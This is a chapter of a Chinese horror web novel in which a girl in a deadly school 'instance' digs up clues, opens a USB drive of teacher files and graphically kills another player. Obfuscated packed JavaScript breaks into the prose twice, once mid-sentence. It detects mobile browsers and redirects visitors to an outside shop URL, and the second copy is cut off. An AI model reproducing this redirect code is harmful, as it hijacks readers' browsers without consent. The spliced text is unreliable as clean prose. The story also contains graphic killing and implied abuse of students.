【平江女子学校诚招一名男老师,要求:年龄位于18-40之间,为人诚实,能吃苦耐劳,必须在本周五早上七点钟准时上岗。】 下面的评论炸开了,几乎所有人都在响应。 青于皱眉,很奇怪,为什么要招一个老师在周五上岗? 这所学校里的“老师”是没有任何功能性的,不上课、不管理、不负责,只会欺凌学生,将这所学校当成他们的天堂。而且所有学生在饥饿的挟持下对老师言听计从,根本不需要任何管理。 青于困惑地思索着,然后跟在詹玉婷身边往操场走去。 因为靠得太近,而且时间很长,所以她闻到了对方身上复杂的味道,有浓郁的洗衣粉味道和浓烈的汽油味,两种味道都很浓,有些熏人。 布置舞台很简单,花费的时间很短,詹玉婷结束后就回了宿舍,青于在操场上逗留着,不知道自己该去哪里。 前面是诡异的教学楼,旁边是更危险的宿舍楼,另一边是大门紧锁的食堂,好像哪个方向都不是正确的选择。 好复杂…… 现在的一切都是那么复杂,青于有些累了,她毫无缘由地觉得疲惫,浓郁的无力感和疲惫感席卷着她,她变得厌倦这一切,她厌恶这场游戏,厌恶这趟来历不明的列车。 明明她只是想去看看海,去看看妈妈眼里的海。 想着想着,青于走到了学校的大铁门前,她伸出手去推大铁门,将门上的锁链晃得“铛铛”响,吵醒了保安亭里的老头。窗帘被“唰”地拉开,那老头站在修补好的窗户对面盯着她。 那老头穿着一件松松垮垮的白色背心,肩上挂着劣质的保安制服,咂巴着嘴,低声训斥她:“大半夜不睡觉,在操场闲逛什么!赶紧滚回去睡觉,别影响我休息。” 青于不为所动,又使劲儿推了推大铁门,声响更大了。 “回去!”老头加重了语气,浑浊的眼珠子里藏着满满的恶意。他敲了敲玻璃,威胁道:“信不信我打电话给你老师,让他过来收拾你。” “我要出去。”青于的声音虽然不大,却异常清晰。她盯着老头肩上那件歪歪扭扭的保安制服,强硬地说:“把门打开,让我出去,不然我就杀了你。” 老头像是听到了什么极其荒谬的笑话,嗤笑一声,布满皱纹的脸挤成一团,轻蔑地说道:“这里不是你逞凶斗狠的地方,老子见过的刺头比你多多了,你吓不住我。赶紧滚回去睡觉!”他猛地拍了一下窗框,发出沉闷的响声。 青于用杀猪刀轻轻敲着他的玻璃窗,无声地威胁着。 老头点了一支烟含在嘴里,眯着眼睛盯着她看,慢吞吞地说:“就算你杀了我,这扇门也不会打开,你也出不去。这个地方本身就不是想走就能走的,进来了再想出去,难如登天。” 看着那老头短短的胡茬子,青于突然想起来一件事,她昨天晚上在韩喜乐的床下发现了一双鞋,那鞋上有枯草,还有那个娃娃里翻出来的U盘,这些东西她都还没有验证过。 想到这儿,她也懒得跟老头扯皮了,转身就朝着角落里的花坛走去。 老头冷哼一声,咂巴着嘴说道:“想从那里逃出去,真是天真。这些孩子吧,就是不给点教训不知道利害,等他们吃到苦头以后,就会听话了。” 花坛边缘处的水泥砖是用带着碎石子的水泥浆灌出来的,所以表面有很多尖锐的石子,不能坐也不能跪,只能蹲在上面。 青于蹲在水泥砖上,将手伸进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529662|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茂盛的草丛里一握一扯,拽了一把杂草出来,她借着月光仔细辨认,确定了这些杂草和那双鞋脚底的杂草一模一样。 所以,韩喜乐来过这里。 她来这里干什么?想要逃吗?还是藏什么东西? 青于更倾向于后者,因为前者不太实际,学校的院墙很高,而且上面还缠着铁丝做成的荆棘,这些“铁荆棘”是固定在墙砖上的,所以根本无法取下来,如此一来,没有任何人会试图从墙上逃跑。 她像一头在土地里刨食的野兽,专注地用手翻搅着冰冷的稀泥,上方湿透的土层被她粗暴地挖开,露出下面略微潮湿的泥土和杂草纠缠的根系。 没有工具,她只能用手,指尖被碎石子划破,渗出血丝,混进泥土里,但她感觉不到疼,或者说,那点疼早已被胸腔里灼烧的愤怒所覆盖。 一下又一下,泥土飞溅,弄脏了她的校服外套。 不知挖了多久,她的指尖突然碰到一个坚硬的东西,是一个浸了油的纸团,她从仓库里拿出手电筒,放在嘴里咬住后才双手捧着那个纸团慢慢拆开。 浸了油的纸包裹了好几层,里面是一小截骨头。除此之外,什么都没有。 骨头很小一段,是一个单调的指节,被严严实实地裹在厚厚的油纸里。 这是线索吗?还是只是一段忘不掉的记忆,一个没有任何多余意义的纪念品? 保安亭的方向传来细微的响动,似乎是老头再次出现在窗户对面,浑浊的目光穿透夜色投了过来落在青于身上。 青于下意识将骨头攥紧,尖锐的部分硌着掌心,她感受着这截骨头的棱角。她迅速将浸了油的纸团胡乱塞回泥坑,用脚踢了些湿泥和枯草盖住,然后跳下水泥砖,装作若无其事地拍打着校服上乱糟糟的泥土和草屑。 她不敢再多停留,小跑着离开了花坛的范围,朝着宿舍楼的方向走去,但每一步都沉重无比,她已经收到警示了,不能回宿舍,但现在的问题是,除了宿舍她好像没有地方可以去。 不对……糊涂了,她可以去安全区啊。 如果遇见朱芸他们,还可以问一下那个U盘要怎么用,她急切地想知道那里面藏着什么秘密。 是这所学校的秘密,还是属于韩喜乐的秘密。 青于再次回到了四楼,这次没有突然出现的人或事打扰她开门了。 办公室的门被推开,里面空荡荡的,只有两三个人在休息。 王美燕裹着棉衣躺在沙发上睡觉,陈建设披着一条毛毯待在角落的地毯上打瞌睡,还有一个青于没见过的人,坐在办公桌前面神经质地运算着,他面前的纸张上已经写满了一堆复杂的公式,成堆的草稿纸散落在桌面上和地面上,他抬头瞥了青于一眼,然后就继续低下头开始运算。 三个人里,青于更倾向于接近王美燕。 她走到窗户边将厚重的窗帘拽下来,然后裹着窗帘走到王美燕旁边的沙发上躺下,书包被她枕在脑后,杀猪刀放在大腿下方,手稍微一伸就能拿到的位置。 她有些困倦,但是更想知道线索。 “你睡着了吗?”青于问了一声。 王美燕的声音随后响起来,“还没。怎么了?” “我这儿有个东西,你能不能帮我看看怎么用。” 青于把U盘从书包里掏出来,紧紧捏着送到王美燕的眼前,想让她看看这个小黑条里究竟藏着什么秘密。最重要的是,这鬼东西要怎么打开,她从没有见过。 王美燕的眼睛在昏暗的光线下费力地聚焦,好一会儿才看清了青于手里拿着的黑色方块。她的眉头习惯性地蹙起,抬手扶了扶眼镜,然后才说道:“这是U盘,要用电脑打开。你从哪里弄来的?” 青于没有回答她的问题,只是将U盘又往前递了递,她的指尖还沾着刚才挖土留下的泥土和被碎石划破的伤口。 电脑,青于知道那个东西。堂哥上大学的时候家里给他买过,一个大铁坨子,有点沉,能够掀开盖儿,那盖儿就是屏幕,上面会出现很多东西,有时候是游戏,有时候是密密麻麻的文字。 过年的时候家里总会有很多亲戚,有的亲戚招人烦,堂哥不爱跟他们待一块儿,就会跑回房间鼓捣他的电脑,在上面敲敲打打,很久都不会停。 她拎着猪食去喂猪会经过堂哥的窗户,能听见那沉闷的“哒哒”声,能看见他坐在桌子前,很专注地敲着那台电脑。 大伯娘说那一台电脑要五千多。 五千多,家里种一年的地也卖不来那么多钱,得是年景好的时候,地里的小米辣和姜都值钱,才能卖上那么多。 青于有些为难,她不知道要去哪里弄一台电脑来,上次她去王老师的办公室也没看到电脑,桌面上只有一些书,其他的什么都没有。 王美燕看着她为难的样子,轻轻开口:“我有电脑,我可以帮你。” 青于问她:“什么条件?” 王美燕笑了一下,看向青于的目光里是掩饰不住的欣赏,自从这个女孩儿上车的那一刻起,她就知道这是个聪明的孩子。 聪明、果敢、坚毅、强大。 与这个游戏完美适配,能够在很多副本里游刃有余,现在虽然是青涩的,但终将以前所未有的速度成长起来,成为终点站的另一个传说。 欣赏归欣赏,交易却不能让利。 在这个世界中,唯一的硬通货就是纯净水。整个终点站的水源都是稀少的,所以很多玩家之间的交易都由水源完成,那是比金钱和通关币更重要的东西,毕竟金钱和通关币可以通过副本获取,但是水源的掉落是随机的,且掉率很低。 “一百毫升纯净水。”王美燕说着从自己的终端仓库里拿出一个小瓶子,那是个刚好一百毫升的小瓶子,也是玩家人手一件的装备,用来做交易的时候装水的。 青于只有三百毫升的纯净水。 她没有立即答应,而是捏着U盘反复查看了许久,然后才说了一句:“五十毫升。我是新人,物资储备没有你们丰富,五十毫升水是我能够出的极限,你如果不同意那就没得谈了。” 王美燕挑眉,“行,五十就五十。你先给我倒水,然后我帮你打开U盘。” 水倒够后,王美燕拿出了她的电脑。 那是一台外壳磨损严重,边角微微变形的银色笔记本电脑,外壳的右上角有一个小小的黑色标记,是鸢尾花的图案。屏幕边缘的塑料有些裂开的痕迹,键盘的字母也磨得发亮。 王美燕按下开机键,电脑的风扇立刻发出巨大的,带着杂音的嗡鸣声,屏幕亮起幽蓝的光,映照着她专注的脸庞,那蓝光持续了很久,就在青于耐心即将告急的时候,蓝光终于消失,取而代之的是白色的屏幕和一堆排列整齐的图标。 王美燕摸索着电脑侧面的接口,将U盘小心翼翼地插了进去。 轻微的“咔嗒”声在寂静的办公室里格外清晰,但依旧盖不过陈建设的鼾声和那个运算者笔尖划过纸张的沙沙声。 电脑屏幕右下角弹出一个提示窗口,显示着“发现可移动磁盘”。 王美燕移动鼠标,光标在屏幕上游走,最终双击点开了那个新出现的提示。 文件夹窗口弹开。 里面有两个文件夹,一个是“教师档案”,一个是“相关案件”。 前一个没有上锁,后一个却需要密码才能打开。王美燕的电脑是很老的型号,并不具备一键开锁功能,她也不是什么电脑高手,所以那个上了锁的文件夹她只能耸了耸肩表示爱莫能助。 点开“教师档案”后,屏幕上瞬间被密密麻麻的缩略图填满,每一张都是人像照片,并不是证件照,而是很随意的生活照,场景各有各的不同,在路上,在商场的吸烟区,在餐厅里,甚至还有在家里的。 王美燕点开一张图片,让它变成占据整个屏幕的大图,然后一张一张跳过。青于在里面看到了王老师的照片。 【姓名:王取年龄:30 入职时间:XXXX年X月10日】 今天是十七号,也就是说王老师才入职七天。 这么看来,这个东西不会是学校的,也不会是王老师放的,唯一的可能就是这是韩喜乐的东西。那她为什么要收集这些老师的信息呢? 正在思索着,青于的目光定格了。 在新出现的照片上,她看到了一张极其熟悉的脸。那五官,那轮廓…… 她猛地吸了一口凉气,感觉一股寒意从脊椎直冲头顶。 照片里的人,竟然是…… “哐当!” 一声巨响猛地从办公室门口传来,紧闭的房门像是被什么沉重的东西狠狠撞击了一下,门框周围的灰尘簌簌落下。紧接着,是令人牙酸的,指甲刮过木板的刺耳声音,一下接着一下,有什么东西正试图用指尖抠穿这扇薄薄的门板。 办公室里的空气骤然凝固,气氛变得前所未有的凝重。 这里可是安全区,安全区为什么会被攻击?!没有人来解答他们的困惑,只有一声接着一声的威胁正在快速逼近。 王美燕瞬间合上电脑屏幕,幽蓝的光熄灭在黑暗中,她拔下U盘扔给青于,随后翻身坐起,从仓库里拿出了一根铁制的棒球棍当武器。 角落里打鼾的陈建设也猛地惊醒,他立刻坐了起来,披着的毛毯滑落,他茫然地环顾四周,粗粝的手掌下意识摸向腰后。 而那个一直埋头运算的人,笔尖在纸上划出长长一道裂痕,他猛地抬头,布满血丝的眼睛死死盯着那扇不断震颤的门板,嘴唇无声地翕动,像是在计算着什么概率。 “哐当!”又是一声巨响,比刚才更加猛烈,门板向内凸起一个可怕的弧度,灰尘和细小的木屑簌簌落下。那令人头皮发麻的指甲刮擦声更加密集了,还伴随着粗重的喘息声一同出现。 那喘息声像是狂风一般打在门板上,所有人都感受到了前所未有的压力。 20.平江三中(11) 门一定会破。 就在这个念头出现的一瞬间,办公室的门被破开了,巨大的怪物堵在门口,只能通过门的缺口看到它身体的一部分,一层又厚又长的黑色鬃毛,正不断渗出暗红的液体,那是比血更黏稠的质地。 黏稠拉丝,里面还裹着一团团暗红色的组织,像是脏器残片,又像是裹满了鲜血的肉块。 怪物还在不停地撞击,墙壁上出现了裂纹,正在如蛛网般慢慢扩散。 “那是什么!” 那个神经质的青年大喊了一声,然后迅速从青于身边一蹿而过,只在青于的视野里留下一片灰色的衣角。 青于被他撞倒在地,下意识地用双手撑着地往后蹭了一段距离才迅速爬起来,她也看见青年口中的东西了。 是黑影。 黑影顺着那些暗红的血液进来了,从一团黑色的不明物质变成人形,变成和他们四个人体形相似的人形。那些人形脚步拖沓地从鲜血中走出来,朝着他们渐渐逼近。 青于脑子里“嗡”的一声,什么也来不及思考了,拎着刀转身朝着屋子里跑去。 办公室正对着门的地方有一面巨大的镜子,在那面镜子里,他们都是穿着校服的模糊的影子。 这镜子照不出来怪物。 安全区一定是真正的安全区,这是王美燕和陈建设他们亲耳听到的,他们出现在这里也代表了这个信息的真实性。 而且他们都是老玩家,不可能分辨不出这么拙劣的陷阱。 要么是安全区发生了什么变故,要么是有人在做局。 青于高高举起杀猪刀将镜子砸了个粉碎,没了镜子的遮挡,后面露出一条狭窄的只能允许一人通过的暗道。 她拎着刀,将书包背在前面,后背紧紧贴着墙壁钻进了暗道。 她本就瘦小,这样的姿势能够让前方留出一点空隙方便活动,而且也能观察前面和后面的动静。 她在暗道里走了好几分钟,那三人才姗姗来迟。为首的竟然是那个神经质的青年,王美燕和陈建设被他甩在身后,动作有些不自然,像是受了伤。 那个神经质的青年缩着身子,在暗道里小跑着,他手中拿着一柄造型古朴,刀刃锋利的唐刀。刀刃上还沾着一些血迹,那是正常的血,没那么黏稠,没那么暗红,所以不是怪物的,只会是王美燕或陈建设的。 “前面太暗了,你需要手电筒吗?我这里有,可以借给你。” 青年在靠近青于时将刀收了回去,然后从仓库里取出一个手电筒往前递了递。他脸上带着笑,脸部的神经却不受控制地抽搐着,看起来有些扭曲。 暗道很黑,但青于夜视能力不差,能看清前方并没有任何障碍物和分岔路,就是一条简单的暗道。能模糊看清是一方面,另一方面是她担心这里面有怪物,强光可能会把怪物惊醒,那才是真正的求救无门。 所以青于摇了摇头,说:“不用,你离我远一点。” 青年尴尬地将手电筒收回去,“你也是新人吗?要不要和我组队?” “我叫符让,你叫什么名字。” 青于把杀猪刀往前一伸,阻止他继续靠近,语气很严肃地说:“我不需要和人组队,你离我远一点。” “你别激动,我是认真的,我们可以组队出去,以后当固定的队友。我的天赋能力很强,和我组队你不会吃亏的,你好好考虑……” 他的话还没说完,青于就用刀背狠狠砸在他的肩膀上,然后抬脚用力一踹将他击退后拉开距离,“我已经拒绝了,你最好不要再靠近我。不然下一次砸在你身上的就不是刀背了。” 她说完就加快速度往前走去,走着走着,突然听到身后有动静,一扭头就看到了一条蓝色的光带追在她后面。 被她重创了肩膀的符让正握着刀跟在身后,语气阴森地说:“明明可以共赢的,你非要激怒我,那就让你去当‘猎物’。” 尽管青于的警告已经足够明确,但符让似乎并没有将她的拒绝放在心上。他语气中带着浓浓的优越感,好像组队的请求是一种恩赐般的施舍。 那条蓝色的光带在暗道中显得格外刺眼,像是被标注出来的重点,圈住了他的贪婪和恶意。 青于加快了步伐,这条暗道并不是一个适合爆发冲突的地点,太窄了,她的杀猪刀没法发挥最大的作用,所以,要保持冷静,迅速离开这个地方。 好在那蓝色的光带并不难缠,它也是有距离限制的,只要自己跑快一点,它就追不上了。 在这个过程中,青于还发现了一件事。 符让夜视能力很差,他一手握刀,一手操控蓝色光带,所以没办法拿手电筒,只能小心翼翼地在暗道里摸索。 看不清前路的人总是谨慎又小心,这样一来,符让追不上她。 他们跑了很久,符让被彻底甩在后面,只能看到一点点蓝色的微光。 出口很狭窄,出来后身处在一间废弃的卧室里,这是一间装修很华丽的卧室,整个房间的墙壁上都贴着一层厚厚的海绵垫,是嫩嫩的浅黄色,垫子凹凸不平,像一块醇香的奶酪。 地上铺着厚厚的浅蓝色长毛地毯,一脚踩上去,灰尘纷纷扬起,烟尘朦胧,带着灰尘独有的呛人味道。 顶上是复杂的西式顶灯,有一串一串的水晶装饰,还吊着一些已经变黑的羽毛。现在那里全是厚厚的蜘蛛网,干瘪的蜘蛛挂在蛛丝上一圈一圈地转着。 卧室正中间是一个三米高的童话风格小亭子,四周围着层层叠叠的纱幔,圆形的顶部由粉红色、浅黄色、浅蓝色、浅绿色组成,像一个漂亮的甜筒。 亭子的中间是一个圆形的展台,展台铺满了边缘锋利的玻璃,那些玻璃被切割成钻石的模样铺满了整个展台,璀璨又华丽。展台上放着一只巨大的棕色毛绒熊,正斜斜地倒在钻石上。 还有一张巨大的公主床,同样盖着层层叠叠的帷幔,里面的布置一看就柔软又暖和。床上还摆着一排可爱的毛绒玩具,但是那些玩具都被剖开了后背,里面的棉花全部被掏出来乱糟糟地扔在床上。 青于在卧室里快速转了一遍,将所有可以藏人的地方全部转了一遍,然后寻找着最佳的藏匿地点。 符让的态度很奇怪,一开始是不搭理的,然后突然变得殷勤想要组队,被自己拒绝警告之后就直接攻击,一看就不是好人。 这种有威胁的人,留到后面只会成为更大的隐患,不如一开始就把他杀了。 虽然这个副本的死亡并不是真正的死亡,结束后还可以重生,但可以让他在这个副本里不要给自己找麻烦。 青于最终选择了在出口边上埋伏,她把玩具熊从展台上搬下来放在出口旁边当一个简陋的伪装,然后蹲在熊后面静静等待着。 没过多久,暗道出口处传来了一阵轻微的响动。符让的身影慢慢显现出来,蓝色的光带围绕着他不停游走。 他并没有察觉到青于的存在,只是小心翼翼地站在出口那儿打量着这个房间。 就在符让的身影完全暴露在外的那一刻,青于猛地把玩偶熊推翻砸在他身上,打了他个措手不及。随后,她手中的杀猪刀狠狠地朝着符让砍去,速度快得惊人。 符让没有料到青于会在这里埋伏他,或者说,他没想到这个新人会在第一个副本就对同类出手,错愕间,他只能用手中的唐刀勉强抵挡。 刀刃相撞发出清脆的声响,符让被青于的力道压得连连后退,蓝色的光带慌乱地在他周围乱窜,每次朝着青于靠近都被会一脚踹开。 符让敌不过,便骂了句脏话。 青于抓住了他愤怒的机会,再次挥刀猛攻,每一次攻击都带着十足十的力道,破空声尖锐,鼓舞着她必胜的决心。 符让虽然一开始落了下乘,但他的战斗技巧不容小觑。熬过了一开始的压制,他逐渐稳住了阵脚,开始用唐刀进行反击,一招一式都带着框架,是正经的武术。 不过他近身搏斗的经验实在有限,对手强势的杀招没有技巧,全是蛮力和敏锐的天赋,所以两人打得不分上下。 青于凭借着自己对这个空间的熟悉和敏捷的身手不断变换着攻击的角度和位置,她知道不能给符让任何思考的机会,符让的天赋不知道是什么作用,感觉攻击力很一般,只要踹上一脚就会消散又重聚,目前看来威胁不大。 但她并未因此轻敌,符让既然敢先动手,一定是有必胜的决心,所以她不能给对方喘息的机会。 战斗持续了十几分钟,符让渐渐落了下风。 他的动作开始变得迟缓,喘息的声音也越来越重。青于找到了他的破绽,用尽全力一跃而起将符让扑倒在地。她的杀猪刀抵在符让的喉咙处,狠戾的眼神审视着自己的猎物,汗水顺着坚毅的侧脸滑落,滴在符让的眼睛里,让他控制不住地频频眨眼。 符让紧紧抿着的唇微微动了一下,像是想要开口说话。 青于毫不犹豫地加重了手上的力道,锋利的刀刃割开脆弱的喉管,破损的动脉让鲜血开始喷溅,重重地砸在青于脸上,触感是温热的,味道是腥气的,知觉是酥麻的,和杀猪没什么区别。 符让瞪大了眼睛,那双眼里带着不甘与恐惧,身体逐渐瘫软下去。在他咽气的前一秒,竟然把唐刀收回了终端仓库里。 人和猪的区别是什么呢? 猪的脖颈很粗,还都是肥肉,人的脖颈很细,却没什么肉,稍稍用力一点就能触及坚硬的骨骼,将你的刀刃阻拦,与此同时,动脉会被割断,鲜血喷涌而出时,脖子上只有一道深深的伤口。 头颅没有那么容易被砍掉,青于知道。 符让的体型并不壮,他高挑又瘦削,每一处都是骨骼分明的,身上覆盖着一层薄薄的皮肉,很白,那是一种苍白病态的白,像一张没有生命的白纸。 如今被鲜血染红,像一只稚嫩的猪崽。 脑子里闪过了很多画面,有被人按住的白嫩猪崽,长长的嘴筒子张得很大,发出凄厉的惨叫,也有另一个苍白瘦削的存在,散乱的黑色长发,骨骼分明的身体,干裂的嘴唇因为张开嘴惨叫而渗出细细的血丝,红色的发绳落在地上…… 那是一条宽宽的发绳,和妈妈脖子上的伤口一样宽,一样红。 可是,那样的红发绳应该在妈妈的头发上,在她又粗又黑的头发上,而不是脖子上。 青于因为那些难以摆脱的记忆而浑身颤抖,所以没有注意到符让的尸体正在发生变化。 那蓝色的光带又出现了,它紧紧贴在符让的伤口处,像一个创可贴一样将狰狞的伤口覆盖着,然后快速没入皮肤里,在蓝色全部消失后,伤口也消失了,脖颈上除了刺眼的血迹外,什么都没留下。 符让撑着身体颤颤巍巍地坐起来,他的外伤虽然彻底消失了,但满地的血迹没法回到身体里,所以依然有失血过多的后遗症,眼前是一团一团的黑晕,四肢也虚软无力。 青于正陷在记忆里难以挣脱,就看见面前有什么东西动了一下。 在这一刻,那晃动的影子变成了很多人,对自己随意打骂的奶奶,抱着烟筒看着她挨打的爷爷,总是发疯打人的爹,无数次试图将她骗到床上的大伯,总是指着她鼻子骂的大伯娘,用怜悯的眼神置身事外的堂哥…… 青于的呼吸都是颤抖的,她好害怕啊。 很害怕。 所以,要杀了他们。 刀刃再一次刺穿符让的心脏,这一回比上一回更加用力,那刀刃穿透了那层薄薄的胸膛,带着鲜血从背后冒出来,血液一滴滴落在厚厚的长毛地毯上,无声无息。 符让死死捏着那刀刃,掌心被割出了深可见骨的伤痕。 王美燕和陈建设就是这时候出现的,他们看到这场景后下意识地后退了好几步回到暗道里,然后向暗道中段跑去。 或许是怕青于追上去,陈建设还暴露了自己的天赋,一辆救护车出现在通道出口处,将那条暗道牢牢堵死。 突然出现的救护车让青于回神了。 她抽出带着余温的杀猪刀,甩了甩上面的血,突然反应过来符让活了,而自己又杀了他一次。 真有意思。 青于把那只巨大的玩偶熊拖到尸体旁边垫着坐,然后一边在地毯上擦着杀猪刀上的血,一边等着符让再次复活。 危机解除了,她突然觉得嘴里有点疼,用舌头去蹭了蹭,发现是嘴里长了两个溃疡,不知道是什么时候出现的,之前太紧张了,一直没有注意到。 她抹了把脸,手上的血蹭得脸颊斑驳,好像她也变成了倒在地上的猪崽。 等了好久,符让都没活过来。她就蹲下来扯符让的手腕,那只手冷冰冰的,指节张开像鸡爪一样,指甲缝里塞着她的校服的布料,是一些白色的线头,刚才打斗的时候,这疯子扯了她的袖子。 提到袖子,青于就想起了点别的,她身上穿着属于韩喜乐的校服,在这身校服的袖子里藏着一些东西,之前没时间弄出来,现在正好抠出来看看是什么。 在校服袖口的卷边里,青于取出了那个卷成一个小卷儿的塑料纸,塑料纸的边缘是很平整的断口,像是从什么东西上剪下来的,上面写着两个字。 【青于】 一瞬间,鸡皮疙瘩在全身蔓延,她震惊地将那个塑料纸压平,忽略上面泛白的折痕,将那两个字看了一遍又一遍,就是她的名字。不仅如此,笔迹也是她的。 这个线索是我藏进校服里的?什么时候? 青于浑身的汗毛都竖着,忽然觉得有些冷。她捏着湿漉漉的衣服,突然想起了一件事,如果这些线索是她藏进校服的,那针线是从哪儿来的,还有那个玩偶里的U盘和摄像头,会不会也和自己有关? 不,不对。 这个线索可能是自己缝进衣服里的,但那个U盘和摄像头绝对和我无关。因为我在这个副本里并不具备得到这些东西的能力,针线或许有可能,但是U盘和摄像头这种东西获取的概率很小,里面的资料也来得蹊跷。 所以那不是我的。 在所有杂乱的思绪中,青于抓住了一个细节。 在车上时那些玩家曾提到过,有很多辆这样的列车,每趟列车都会去往不同的副本。这条信息一定不止表面上的那么简单,它有更深层次的意思。 衔尾蛇列车的特点是什么? 是时间。 凌乱的、不确定的时间是衔尾蛇的特点。这是筛选副本给出的信息。 所以这个副本和当初那个筛选副本一样,有着混乱的时间线和真实的时间坐标。 除了明确的时间坐标,其他的一切都可能是混乱的。现在我在这里找到的证据,或许是其他时间坐标里我留下的信号。 她想提醒我什么呢?或许就是这个,时间。 在某一个我还没有到达,或者我错过的时间坐标里,我发现了什么,所以匆忙地留下了一个信号,告诉自己关于时间的秘密。 这个线索是留在韩喜乐的校服上的,那个我知道我一定会穿上韩喜乐的校服…… 今早程叶报告的时候说过。 女生班级应到三十人,实到三十人,无人缺席。 无人缺席。 青于的名字在韩喜乐的校服里。 所以,青于就是韩喜乐吗? 那,那篇作文又是怎么回事?那篇内容陌生,写得完全不是我的人生的作文。 好好想想,青于,好好想想! 从进入副本的那一刻开始想…… 对了! 是徐念雨。 黑板上有作文题目,同学们都有写好的内容,只有我的出现很突兀,教室里失踪的韩喜乐和作业本上写了一半的内容,还有徐念雨劝说自己写作文的话语,这些场景像碎片一样不断出现,艰难地构建出一个事实。 写作文一定是个重要的节点,因为在前后分别出现了徐念雨的劝道和詹玉婷被惩罚这样的事件。 但自己没有经历那个节点,代表这个坐标被其他的自己经历了。而那个作文本上的内容,是徐念雨写的,她口中的帮忙并不是说说而已,而是真的帮忙了,在作文本上留下了一些名为徐念雨的人生碎片。 在宿舍里,徐念雨是呆滞的、麻木的、冷漠的、伤痕累累的,导致这一切的事件也很重要,所以应该也是一个时间坐标,但是被另外的自己经历了。 另一个自己和徐念雨在宿舍里共同经历了什么事,所以第二天早上她态度变化很大,一直在提醒自己,该怎么做,不能怎么做,一直在提示。 而且徐念雨还说了一段话,她说:“你想要知道真相,就忍住你的脾气。有个人托我给你带几句话,她说‘真相藏得很深,你要耐心一点,不要总是想着杀人,在这个地方,杀人解决不了任何问题’。” 杀人解决不了任何问题。 青于看了一眼被自己杀死的符让,无奈地耸了耸肩,这段话,很像是自己说给自己听的。 时间坐标的产生青于亲自尝试过,每个坐标里会有一个关键人物,还有一个具体事件,最后就是共同参与的人。 所以,我是在经历属于谁的时间坐标?那些没有经历到的,或许就是别人的坐标,而我和徐念雨在其中都只是事件的一小部分,作为填补故事的边角料,我们没有记忆,也没有属于自己的“戏份”。 青于长长地舒了一口气,然后将手里的塑料纸装进书包里。就是这个动作让她发现了不对劲,她突然发现自己的书包一角被染了色,是深褐色,带着浓烈的臭味,像什么呢? 像卫生院里的安尔碘,护士会用来给皮肤消毒。但是平江三中没有医务室,也没有担任医者身份的老师,那这个液体的来历就变得很神奇了。 还那么那么恰巧,自己面前就停放着一台救护车。 青于突然有了某种猜测,她笑了一下,然后开始转动手腕将杀猪刀绕来绕去。 真奇怪啊,符让一个不擅长近身搏斗的人怎么会非要追上来和她打呢?连她都能看出来的小伎俩,连她都不会受伤的对象,陈建设和王美燕两个老玩家怎么会着了他的道儿呢? 又怎么会那么奇怪,同样在一条暗道里,他们俩竟然同时落后了十几分钟,而且出现的时候身上没有和怪物搏斗的痕迹,发现符让被杀后,他们的第一反应是跑。 没有上来要组队,没有想要结盟,他们跑了,好像默认自己是对立面,正如他们默认了符让是他们的队友。 书包上的痕迹应该是我在某个时间坐标里登上了那辆救护车,并且在书包上留下痕迹。 如果是这样的话,那其他人经历的是属于谁的时间坐标呢?还是说这并没有固定的视角,一切都是随机的,是混乱的。 第一天在教室里经历的是徐念雨的,晚上在宿舍经历的是程叶的,第二天一早是那个受辱的男生,念作文那一段是詹玉婷的。只有这样才能解释很多现象,徐念雨的神出鬼没和朱芸他们的消失。 那这一段,又是属于谁的? 理清楚这些后,青于就没那么急迫了。 徐念雨给自己传话的意思很明显了,在某个时间坐标里,自己做出了错误的选择,相信了虚假的真相,所以那个时间坐标行不通了。 既然闲着也是闲着,那就搜寻一下战利品吧,青于要翻一下符让身上有什么东西。 首先摸到一个银色的手电筒,小小一个,和大拇指差不多大小,外壳上刻着一朵深蓝色的鸢尾花,和王美燕笔记本电脑上的标志一模一样。 然后摸出了一把钥匙,铜制的,齿痕歪歪扭扭,像用锤子砸出来的。 钥匙。 第一次天黑时,那些玩家提到过“钥匙”,程叶因为钥匙杀了一个学生。这一定是非常重要的道具。 除此之外什么都没有。 终端发来的邮件里有新手引导,上面提到了死亡的两种状态,“真实死亡”和“虚假死亡”,两种死亡状态都会导致仓库内的物品掉落。 现在符让身边没有出现任何物品,所以他并没有成为死亡状态,他还能活。 那什么时候活呢? 青于从公主床上扯下好几层纱幔,一层拧成一股绳,然后用三股粗绳将符让捆住扔在角落里。 卧室中间的小亭子有点奇怪,那个铺满钻石的展台上没有灰尘,放在上面的玩偶熊也没有灰尘。 青于把玩偶熊拽回来扔上去,然后伸出一只脚才在玩偶熊上踩了踩,没有反应。收回脚的时候借力蹬了一下,就发现这个展台能够旋转,是沉重的,转起来一卡一卡的。 她一直用力地蹬着,展台旋转的姿态从卡顿变得丝滑,然后不需要借力也能自行旋转了。 清脆的音乐声从小亭子里传出来,这个三米高的设施变成了一个旋转的音乐盒。 在音乐声中,墙上那些乳酪般的厚垫子慢慢翻转,变成了展示着巨幅照片的电子屏幕。 那些照片的主人并不陌生,徐念雨、詹玉婷、陈悦……每一个都是班里的学生,很多人青于都是有印象的。 那些等身照片密密麻麻地铺在墙壁上,每一张都很露骨,她们穿着各式各样的衣服,或坐或站地待在钻石展台上,摆出一些令人不适的姿势。 那展台上铺着的是切割成钻石模样的锋利玻璃,那些尖锐的角将她的皮肤割破,鲜血染红了展台,有几条红裙的裙摆铺在鲜血上,像是从上而下的鲜血瀑布。 她们的表情是痛苦的,有哭泣有恐惧,就算是笑容也僵硬得像是假面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 